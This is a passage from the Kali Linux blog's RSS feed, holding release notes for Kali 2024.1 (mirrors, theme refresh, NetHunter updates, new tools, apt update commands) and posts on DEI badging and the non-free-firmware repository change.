&lt;p>For anyone familiar with mirroring, it&amp;rsquo;s quite exciting to see such a project taking shape. Free software and Linux distributions have been distributed thanks to community-supported mirrors &lt;a href="http://www.ibiblio.org/pub/historic-linux/distributions/debian-0.91/debian-0.91/RELEASE-0.91">for almost three decades now&lt;/a>, it&amp;rsquo;s a long tradition. It&amp;rsquo;s true that we&amp;rsquo;ve seen some changes over the last years, and these days some of the biggest FOSS projects &lt;a href="https://news.apache.org/foundation/entry/apache-software-foundation-moves-to">are entirely distributed via a CDN&lt;/a>, leaving behind the mirroring system. For Kali Linux we use a mixed approach: it is distributed in part thanks to 50+ mirrors across the world, and in part thanks to the Cloudflare CDN that acts as a ubiquitous mirror. We are lucky to benefit from a &lt;a href="https://blog.cloudflare.com/cloudflare-repositories-ftw">very generous sponsorship from Cloudflare&lt;/a> since 2019. But smaller or newer projects don&amp;rsquo;t get this chance, thus community mirrors are still essential to free software distribution. That&amp;rsquo;s why it&amp;rsquo;s nice to see a project like the Micro Mirror CDN, it&amp;rsquo;s a novel approach in the field of mirroring, and with Kali Linux we are very grateful to be part of the journey.&lt;/p>
&lt;p>For any organization out there that has spare bandwidth and wants to support free software, the Micro Mirror project might be something you are interested in. You might want to look at their &lt;a href="https://github.com/PhirePhly/micromirrors/blob/main/doc/product-brief.md">product brief&lt;/a> for a more thorough description of the service, and email &lt;code>mirror at fcix dot net&lt;/code> for more information. we&amp;rsquo;ll just quote one line that summarize it really well:&lt;/p>
&lt;blockquote>
&lt;p>From the hosting sponsor&amp;rsquo;s perspective, the Micro Mirror is a turnkey appliance, where they only need to provide network connectivity and remote hands to install the hardware, where all sysadmin and monitor work is handled by the FCIX team with the economy of scale on our side.&lt;/p>
&lt;/blockquote>
&lt;p>A big thanks to the FCIX team, and Kenneth Finnegan in particular, for their generous offer. Thanks to their help, the Kali images are now served from ten additional mirrors: &lt;strong>seven in the US, one in Colombia, one in the UK and one in Australia&lt;/strong>.&lt;/p>
&lt;p>And while we are talking about mirrors: we also got plenty of new mirrors from various sponsors during this release cycle, check the &lt;a href="https://www.kali.org/blog/kali-linux-2024-1-release/#new-kali-mirrors">dedicated section below&lt;/a> for details.&lt;/p>
&lt;h2 id="2024-theme-refresh">2024 Theme Refresh&lt;/h2>
&lt;p>As for previous 20**.1 releases, &lt;strong>this update brings with it our annual theme refresh&lt;/strong>, a tradition that keeps our interface as cutting-edge as our tools. This year marks the unveiling of our newest theme, meticulously crafted to enhance user experience from the moment you boot up. With significant &lt;strong>updates to the boot menu, login display, and an array of captivating desktop wallpapers, for both our regular Kali and Kali Purple editions&lt;/strong>. We are dedicated to not only advancing our cybersecurity capabilities but also ensuring that the aesthetic appeal of our platform matches the power within.&lt;/p>
&lt;p>&lt;strong>Boot menu&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-1-release/images/boot-menu.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-1-release/images/boot-menu.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Login display&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-1-release/images/login.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-1-release/images/login.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Desktop&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-1-release/images/desktop.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-1-release/images/desktop.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Kali-Purple desktop&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-1-release/images/desktop-purple.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-1-release/images/desktop-purple.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>New wallpapers&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-1-release/images/wallpapers.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-1-release/images/wallpapers.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Special thanks to &lt;strong>&lt;a href="https://twitter.com/arszilla">@arszilla&lt;/a>&lt;/strong> for not only suggesting two wallpaper variants but also contributing to the creation of one of the default wallpapers featured in this release. These additional images were crafted to complement the background colors of the Nord and Dracula color schemes. To access these wallpapers, simply install the &lt;code>kali-community-wallpapers&lt;/code> package, which also offer many other stunning backgrounds created by our community contributors.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-1-release/images/dracula-nord-wallpapers.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-1-release/images/dracula-nord-wallpapers.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="other-desktop-changes">Other desktop changes&lt;/h2>
&lt;h3 id="xfce">Xfce&lt;/h3>
&lt;p>We are excited to introduce a convenient enhancement to our Xfce desktop. Now, users can &lt;strong>effortlessly copy their VPN IP address to the clipboard with just a click&lt;/strong>, simplifying the workflow and enhancing productivity for our users. To take advantage of this functionality, ensure that &lt;code>xclip&lt;/code> is installed on your system (&lt;code>sudo apt update &amp;amp;&amp;amp; sudo apt -y install xclip&lt;/code>). With this improvement, managing your VPN connections on Kali Linux becomes even more seamless and intuitive.&lt;/p>
&lt;p>Thank you &lt;strong>&lt;a href="https://gitlab.com/lucas.parsy">@lucas.parsy&lt;/a>&lt;/strong> for your contribution that made this feature possible!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-1-release/images/vpn-plugin.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-1-release/images/vpn-plugin.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Other Xfce changes&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Kali-undercover updated to fix compatibility with latest Xfce&lt;/li>
&lt;li>Fixed a bug with &lt;code>xfce-panel&lt;/code> and Kali&amp;rsquo;s customized &lt;code>cpugraph&lt;/code> plug-in&lt;/li>
&lt;/ul>
&lt;h3 id="gnome-shell">Gnome-Shell&lt;/h3>
&lt;p>For Gnome desktop one notable change is the &lt;strong>replacement of the &lt;code>eye-of-gnome (eog)&lt;/code> image viewer with &lt;code>Loupe&lt;/code>&lt;/strong>, continuing the transition to GTK4 based applications. Additionally, the &lt;strong>latest update of Nautilus file manager&lt;/strong> arrived to Kali&amp;rsquo;s repositories, delivering a significant boost in file search speed and introducing a refreshed sidebar design.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-1-release/images/gnome.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-1-release/images/gnome.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="icon-theme">Icon Theme&lt;/h3>
&lt;p>Following with the desktop enhancements, we&amp;rsquo;ve added a &lt;strong>few new app icons&lt;/strong>, ensuring a fully themed experience for default installations of Kali Linux. Additionally, we&amp;rsquo;ve refreshed our icon theme with &lt;strong>new symbolic icons&lt;/strong>, enhancing consistency system-wide.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-1-release/images/icons.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-1-release/images/icons.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-1-release/images/NetHunter-S24Ultra.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-1-release/images/NetHunter-S24Ultra.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We finally got our hands on a brand new Samsung Galaxy S24 Ultra and yes!, &lt;a href="https://www.kali.org/docs/nethunter/nethunter-rootless/">NetHunter rootless&lt;/a> runs like a dream. Fortunately, Android 14 lets us disable child process restrictions in developer settings so we no longer have to use the adb command line to enable &lt;a href="https://www.kali.org/docs/nethunter/nethunter-kex-manager/">KeX support&lt;/a>.
We have updated our &lt;a href="https://www.kali.org/docs/nethunter/nethunter-rootless/">documentation&lt;/a> to reflect these changes.&lt;/p>
&lt;hr>
&lt;p>&lt;a href="https://twitter.com/yesimxev">@yesimxev&lt;/a> managed to add the popular Bad Bluetooth HID attack the the NetHunter app for both phones and even smartwatches!&lt;/p>
&lt;video class="video-shortcode" preload="metadata" controls>
&lt;source src="https://www.kali.org/blog/kali-linux-2024-1-release/videos/nethunter-badbt-proto.mp4" >
Your browser does not support the video tag.
&lt;/video>
&lt;hr>
&lt;p>The icons for our NetHunter and NHTerm apps have received a makeover and &lt;a href="https://twitter.com/kimocoder">@kimocoder&lt;/a> &amp;amp; &lt;a href="https://twitter.com/martindatoss">@martinvlba&lt;/a> spent countless days updating the codebase to ensure compatibility with the latest Android version.&lt;/p>
&lt;hr>
&lt;p>The community engagement is at an all time high, which is reflected by the following &lt;a href="https://nethunter.kali.org/kernels.html">new kernels&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>Realme C15&lt;/li>
&lt;li>TicWatch Pro 3&lt;/li>
&lt;li>(Updated) Samsung Galaxy S9+&lt;/li>
&lt;li>Xiaomi Poco X3 NFC&lt;/li>
&lt;/ul>
&lt;p>Thanks heaps to everyone that &lt;a href="https://www.kali.org/docs/community/contribute/">contributed&lt;/a>, we wouldn&amp;rsquo;t be here without you!&lt;/p>
&lt;p>&lt;em>Stay tuned as there are many more kernels already on the way!&lt;/em>&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>The following new tools made it into this Kali release &lt;em>(via the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/blue-hydra/">blue-hydra&lt;/a> - Bluetooth device discovery service&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/opentaxii/">opentaxii&lt;/a> - TAXII server implementation from EclecticIQ&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/readpe/">readpe&lt;/a> - Command-line tools to manipulate Windows PE files&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/snort/">snort&lt;/a> - Flexible Network Intrusion Detection System&lt;/li>
&lt;/ul>
&lt;p>&lt;em>The focus was adding new libraries this release, and there is always numerous packages updates. Plus we also bump the Kali kernel to 6.6!&lt;/em>&lt;/p>
&lt;h3 id="community-packages">Community Packages&lt;/h3>
&lt;p>There has also been a tool submitted from the community which has been merged into Kali:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/above/">above&lt;/a> - Invisible protocol sniffer for finding vulnerabilities in the network&lt;/li>
&lt;/ul>
&lt;p>&lt;em>If you are wanting a tool in Kali quicker than what we can add, please see &lt;a href="https://www.kali.org/blog/kali-linux-2023-3-release/#rekono---community-package-submission">our blog post from a previous release&lt;/a>.&lt;/em>&lt;/p>
&lt;h2 id="miscellaneous">Miscellaneous&lt;/h2>
&lt;p>Below are a few other things which have been updated in Kali, which we are calling out which do not have as much detail:&lt;/p>
&lt;ul>
&lt;li>Due to the ongoing &lt;code>/usr-merge&lt;/code> transition in Debian, using 2023.4 or older versions of &lt;a href="https://www.kali.org/docs/installation/network-pxe/#download-kali-pxe-netboot-images">our netboot images&lt;/a> will no longer work. Make sure to either grab weekly image or Kali 2024.1! &lt;/li>
&lt;li>Friendly reminder, if you are getting &amp;ldquo;weird special characters&amp;rdquo; when trying to use keyboard shortcuts to copy/paste clipboard, the default is to use &amp;ldquo;&lt;strong>ctrl&lt;/strong>+&lt;strong>shift&lt;/strong>+&lt;strong>c&lt;/strong>&amp;rdquo; and &amp;ldquo;&lt;strong>ctrl&lt;/strong>+&lt;strong>shift&lt;/strong>+&lt;strong>v&lt;/strong>&amp;rdquo;.
&lt;ul>
&lt;li>&lt;em>&lt;strong>ctrl&lt;/strong>+&lt;strong>c&lt;/strong> (without shift) in Unix is used to kill programs!&lt;/em>&lt;/li>
&lt;li>Should you wish, you can alter the default behaviour in your favourite terminal program&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="kali-website-updates">Kali Website Updates&lt;/h2>
&lt;h3 id="kali-documentation">Kali Documentation&lt;/h3>
&lt;p>Our &lt;a href="https://www.kali.org/docs/">Kali documentation&lt;/a> has had various updates:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-vmware-silicon-host/">Installing VMware on Apple Silicon (M1/M2/M3) Macs (Host)&lt;/a> (updated)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/installation/installation-sizes/">Kali Installation Sizes&lt;/a> (updated)&lt;/li>
&lt;/ul>
&lt;p>&lt;em>A way to make a project even stronger is to help its &lt;a href="https://www.kali.org/docs/">documentation&lt;/a>. Kali is no exception. If you are able to please do &lt;a href="https://www.kali.org/docs/community/contribute/">contributed&lt;/a>.&lt;/em>&lt;/p>
&lt;h3 id="tool-documentation">Tool Documentation&lt;/h3>
&lt;p>Our &lt;a href="https://www.kali.org/tools/">tool documentation&lt;/a> is always getting various updates from us, but we received a great contribution from &lt;a href="https://gitlab.com/etd">Daniel&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/dradis/">Dradis&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;em>If you are wanting to help Kali, and give back, submitting to &lt;a href="https://www.kali.org/tools/">kali.org/tools&lt;/a> is a great way to &lt;a href="https://www.kali.org/docs/community/contribute/">contributed&lt;/a>.&lt;/em>&lt;/p>
&lt;h3 id="kali-blog-recap">Kali Blog Recap&lt;/h3>
&lt;p>Since our last release, we did the following &lt;a href="https://www.kali.org/blog/">blog posts&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/non-free-firmware-transition/">The great non-free-firmware transition&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/dei-promise/">Kali Linux DEI Promise&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="community-shout-outs">Community Shout-Outs&lt;/h2>
&lt;p>These are &lt;strong>people from the public who have helped Kali&lt;/strong> and the team for the last release. And we want to praise them for their work &lt;em>(we like to give credit where due!)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/Arszilla">Arszilla&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/casterbyte">Caster&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/etd">Daniel&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/janerysavy17">Jane Rysavy&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Fetti.Wop">Jordan&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/lucas.parsy">Lucas Parsy&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/ronbo">ronbo&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/em>&lt;/p>
&lt;h3 id="new-kali-mirrors">New Kali Mirrors&lt;/h3>
&lt;p>We have some new mirrors! Plenty of new mirrors, in fact. The last quarter was quite incredible on this front, and now is the time to give credits.&lt;/p>
&lt;p>Let&amp;rsquo;s start with North America:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>US&lt;/strong>: &lt;a href="http://mirror.fcix.net/kali-images/">mirror.fcix.net&lt;/a> sponsored by FCIX aka. the &lt;a href="https://fcix.net/">Fremont Cabal Internet Exchange&lt;/a>. Thanks to &lt;em>Kenneth&lt;/em> Finnegan for reaching out&amp;hellip; one and a half year ago! Thankfully we rediscovered the email and that was worth it.&lt;/li>
&lt;li>&lt;strong>Canada&lt;/strong>: &lt;a href="http://mirror.xenyth.net/kali-images/">mirror.xenyth.net&lt;/a> sponsored by &lt;a href="https://xenyth.net/">Xenyth Cloud&lt;/a>, and thanks to Sepehr Ahmadi.&lt;/li>
&lt;li>&lt;strong>Canada&lt;/strong>: &lt;a href="http://mirror.quantum5.ca/kali-images/">mirror.quantum5.ca&lt;/a> sponsored by &lt;a href="https://dynamicquantum.net">Dynamic Quantum Networks&lt;/a>, and thanks to Guanzhong Chen.&lt;/li>
&lt;li>&lt;strong>Canada&lt;/strong>: &lt;a href="http://mirror.accuris.ca/kali/">mirror.accuris.ca&lt;/a> sponsored by &lt;a href="https://accuristechnologies.ca/">Accuris Technologies Ltd.&lt;/a>, thanks to Peter Potvin.&lt;/li>
&lt;li>&lt;strong>Canada&lt;/strong>: &lt;a href="http://mirror.0xem.ma/kali/">mirror.0xem.ma&lt;/a> sponsored by &lt;a href="https://0xem.ma/">Emma Ruby&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>Now for the rest of the world:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Chile&lt;/strong>: &lt;a href="http://elmirror.cl/kali/">elmirror.cl&lt;/a>, sponsored by &lt;a href="https://elmirror.cl/">ElMirror&lt;/a>, and thanks to Jonathan Gutierrez, who also maintains the other Kali Linux mirror in Chile: &lt;a href="https://mirror.ufro.cl/">mirror.ufro.cl&lt;/a>. As a reminder: we really lack mirrors in South America, any help would be welcome to help Kali reach this part of the world.&lt;/li>
&lt;li>&lt;strong>China&lt;/strong>: &lt;a href="http://mirrors.ustc.edu.cn/kali/">mirrors.ustc.edu.cn&lt;/a>, sponsored by the USTC aka. the &lt;a href="https://en.ustc.edu.cn/">University of Science and Technology of China&lt;/a>, and thanks to Keyu Tao.&lt;/li>
&lt;li>&lt;strong>France&lt;/strong>: &lt;a href="http://mirror.johnnybegood.fr/kali/">mirror.johnnybegood.fr&lt;/a>, sponsored by the &lt;a href="https://johnnybegood.fr/">Johnnybegood Society&lt;/a>.&lt;/li>
&lt;li>&lt;strong>Portugal&lt;/strong>: &lt;a href="http://mirror.leitecastro.com/kali/">mirror.leitecastro.com&lt;/a>, sponsored by &lt;a href="https://leitecastro.com/">Tomás Leite de Castro&lt;/a>.&lt;/li>
&lt;li>&lt;strong>South Korea&lt;/strong>: &lt;a href="http://mirror.amuksa.com/kali/">mirror.amuksa.com&lt;/a>.&lt;/li>
&lt;/ul>
&lt;p>On top of that, as said above, there is now the Micro Mirror CDN that serves Kali images via 10 points of presence: 7 in the US, 1 in Colombia, 1 in the UK and 1 in Australia!&lt;/p>
&lt;p>To wrap that up: THANK YOU to all of you, individuals and companies, who provide bandwidth and help us distribute Kali to everyone out there!&lt;/p>
&lt;p>&lt;em>If you have the disk space and bandwidth, &lt;a href="https://www.kali.org/docs/community/setting-up-a-kali-linux-mirror/">we always welcome new mirrors&lt;/a>.&lt;/em>&lt;/p>
&lt;hr>
&lt;h2 id="kali-team-discord-chat">Kali Team Discord Chat&lt;/h2>
&lt;p>Since the launch of &lt;a href="https://discord.kali.org/">our Discord server&lt;/a> with &lt;a href="https://www.kali.org/blog/kali-linux-2022-3-release/">Kali 2022.3&lt;/a>, we have been doing an hour long voice chat with a number of Kali team members. This is when anyone can ask questions (hopefully relating to Kali or the information security industry) to us.&lt;/p>
&lt;p>The next session will happen a little later than normal, &lt;strong>Friday, 22nd March 2024 18:00 -&amp;gt; 19:00 &lt;a href="https://time.is/UTC">UTC/+0 GMT&lt;/a>&lt;/strong>.
It will once again be on &lt;a href="https://discord.com/servers/offsec-780824470113615893">OffSec’s Discord&lt;/a>.&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://discord.gg/invite/offsec">Discord invite&lt;/a>&lt;/li>
&lt;li>&lt;a href="./Kali-Discord-2024.1.ics">iCalendar invite&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Please note, we will not be making a recording of this event - its live only.&lt;/em>&lt;/p>
&lt;hr>
&lt;h2 id="get-kali-linux-20241">Get Kali Linux 2024.1&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Go &lt;a href="https://www.kali.org/get-kali/">get Kali&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead.
This way you will have fewer updates to do.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware&amp;quot; | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2024.1 We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2024.1&amp;quot;
VERSION_ID=&amp;quot;2024.1&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.6.9-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We will never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And Social networks are not bug trackers!&lt;/strong>&lt;/p>
&lt;p>Want to keep in up-to-date easier? Automate it! We have a &lt;a href="https://www.kali.org/rss.xml">RSS feeds&lt;/a> and &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a> of our &lt;a href="https://www.kali.org/blog/">blog&lt;/a> to help you.&lt;/p></description></item><item><title>Kali Linux DEI Promise</title><link>https://www.kali.org/blog/dei-promise/</link><guid isPermaLink="true">https://www.kali.org/blog/dei-promise/</guid><pubDate>Mon, 29 Jan 2024 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/dei-promise/images/banner-dei.jpg" type="image/jpg"/><description>&lt;p>Last month we were privileged to be invited by GitLab to participate in the introduction of &lt;a href="https://about.gitlab.com/blog/2024/01/29/building-a-more-inclusive-and-welcoming-open-source-community-on-gitlab/">GitLab&amp;rsquo;s DEI Badging integration&lt;/a>. Diversity, Equity, and Inclusion &lt;a href="https://badging.chaoss.community/project-badging">(DEI) badging&lt;/a> is an initiative that the &lt;a href="https://chaoss.community/">Community Health Analytics in Open Source Software&lt;/a> (CHAOSS) project &lt;a href="https://chaoss.community/chaoss-dei-project-badging/">created&lt;/a> to acknowledge and encourage open source projects&amp;rsquo; efforts.&lt;/p>
&lt;p>Since we first heard of this initiative we have been very excited for the launch. Inclusion in the open source space has always been important and the cornerstone of what makes open source work. This sort of formalization of what inclusion means and how we execute on it is an important step forward in the maturation of open source projects in general. Kali Linux is an &lt;a href="https://www.kali.org/docs/policy/kali-linux-open-source-policy/">open-source&lt;/a>, &lt;a href="https://www.kali.org/docs/introduction/kali-linux-image-overview/">multi-platform&lt;/a>, distribution for all users, and with this effort we have the opportunity to make that explicit. We are also proud to say that we have already &lt;a href="https://badging.chaoss.community/project-badging">received our badge&lt;/a>, as the first GitLab project to do so, aside from GitLab themselves of course!&lt;/p>
&lt;p>For our part in this initiative, we have published &lt;a href="https://gitlab.com/kalilinux/documentation/governance/-/blob/main/DEI.md">our DEI.md statement file&lt;/a> and promise to continue working on this. We will be putting effort into increasing visibility of our operations in our &lt;a href="https://gitlab.com/kalilinux">GitLab group&lt;/a>, availability of &lt;a href="https://www.kali.org/docs/community/list-of-official-kali-sites/">resources&lt;/a>, documentation, and improving and increasing opportunities available for our &lt;a href="https://www.kali.org/docs/community/">community&lt;/a> and &lt;a href="https://www.kali.org/partnerships/">partners&lt;/a> to &lt;a href="https://www.kali.org/docs/community/contribute/">contribute&lt;/a>. We are committed to working on this for years to come, and plan to continue to improve upon our work through feedback and thorough review.&lt;/p></description></item><item><title>The great non-free-firmware transition</title><link>https://www.kali.org/blog/non-free-firmware-transition/</link><guid isPermaLink="true">https://www.kali.org/blog/non-free-firmware-transition/</guid><pubDate>Mon, 22 Jan 2024 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/non-free-firmware-transition/images/banner-non-free-firmware.jpg" type="image/jpg"/><description>&lt;p>TL;DR: Dear Kali user, when you have a moment, check your &lt;code>/etc/apt/sources.list&lt;/code>, and add &lt;code>non-free-firmware&lt;/code> if ever it&amp;rsquo;s missing.&lt;/p>
&lt;p>Programmatically speaking:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ sudo sed -i 's/non-free$/non-free non-free-firmware/' /etc/apt/sources.list
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Long story now.&lt;/p>
&lt;p>As you might know already, Kali Linux is a &lt;a href="https://www.kali.org/docs/policy/kali-linux-relationship-with-debian/">Debian-based Linux distribution&lt;/a>. As such, it inherits a number of things from Debian, and in particular, the structure of the package repository.&lt;/p>
&lt;p>For anyone familiar with Kali, you already know that the package repository is split into different &lt;em>archive areas&lt;/em> (also called &lt;em>components&lt;/em>). Historically, there&amp;rsquo;s always been 3 components: &lt;a href="https://http.kali.org/kali/dists/kali-rolling/">&lt;code>main&lt;/code>, &lt;code>contrib&lt;/code> and &lt;code>non-free&lt;/code>&lt;/a>. However, this changed last year, when &lt;a href="https://www.debian.org/releases/bookworm/amd64/release-notes/ch-whats-new.en.html#archive-areas">Debian introduced a new component called &lt;code>non-free-firmware&lt;/code>&lt;/a>.&lt;/p>
&lt;p>Kali Linux followed suite, and introduced the &lt;code>non-free-firmware&lt;/code> component back in version &lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/">2023.1&lt;/a>. However, so far it&amp;rsquo;s been empty, and firmware were still part of the &lt;code>non-free&lt;/code> component. This changed last week: firmware are now located in the &lt;code>non-free-firmware&lt;/code> component. In practice, it means that &lt;em>non-free-firmware must be enabled in your /etc/apt/sources.list&lt;/em>, otherwise firmware would not get updated when you run your favorite command &lt;code>apt update &amp;amp;&amp;amp; apt full-upgrade&lt;/code>.&lt;/p>
&lt;p>For anyone who installed Kali post 2023.1, &lt;code>non-free-firmware&lt;/code> is already enabled in your &lt;code>sources.list&lt;/code>. But it does not hurt to check, so here&amp;rsquo;s how it should look like:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware
&lt;/code>&lt;/pre>
&lt;p>If ever &lt;code>non-free-firmware&lt;/code> is missing, please edit the file &lt;code>/etc/apt/sources.list&lt;/code> to add it. Or, just do it with this one-liner:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kali:~$ sudo sed -i 's/non-free$/non-free non-free-firmware/' /etc/apt/sources.list
&lt;/code>&lt;/pre>
&lt;p>Then complete the job with the traditional &lt;code>sudo apt update&lt;/code>. No error? You&amp;rsquo;re done.&lt;/p>
&lt;p>Thanks for your attention!&lt;/p></description></item><item><title>Kali Linux 2023.4 Release (Cloud ARM64, Vagrant Hyper-V &amp; Raspberry Pi 5)</title><link>https://www.kali.org/blog/kali-linux-2023-4-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2023-4-release/</guid><pubDate>Tue, 05 Dec 2023 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2023-4-release/images/banner-2023.4-release.jpg" type="image/jpg"/><description>&lt;p>With 2023 coming to an end and before the holiday season starts, we thought today would be a good time to &lt;a href="https://www.kali.org/releases/">release&lt;/a> &lt;strong>Kali 2023.4&lt;/strong>. Whilst this release may not have the most end-user features in it again, there are a number of new platform offerings and there has still been a lot of changes going on behind-the-scenes for us, which has a positive knock-on effect resulting in a benefit for everyone.
News, platforms, and features aside, it would not be a Kali release if there was not a number of changes to our packages - both new tools and upgrades to existing ones.
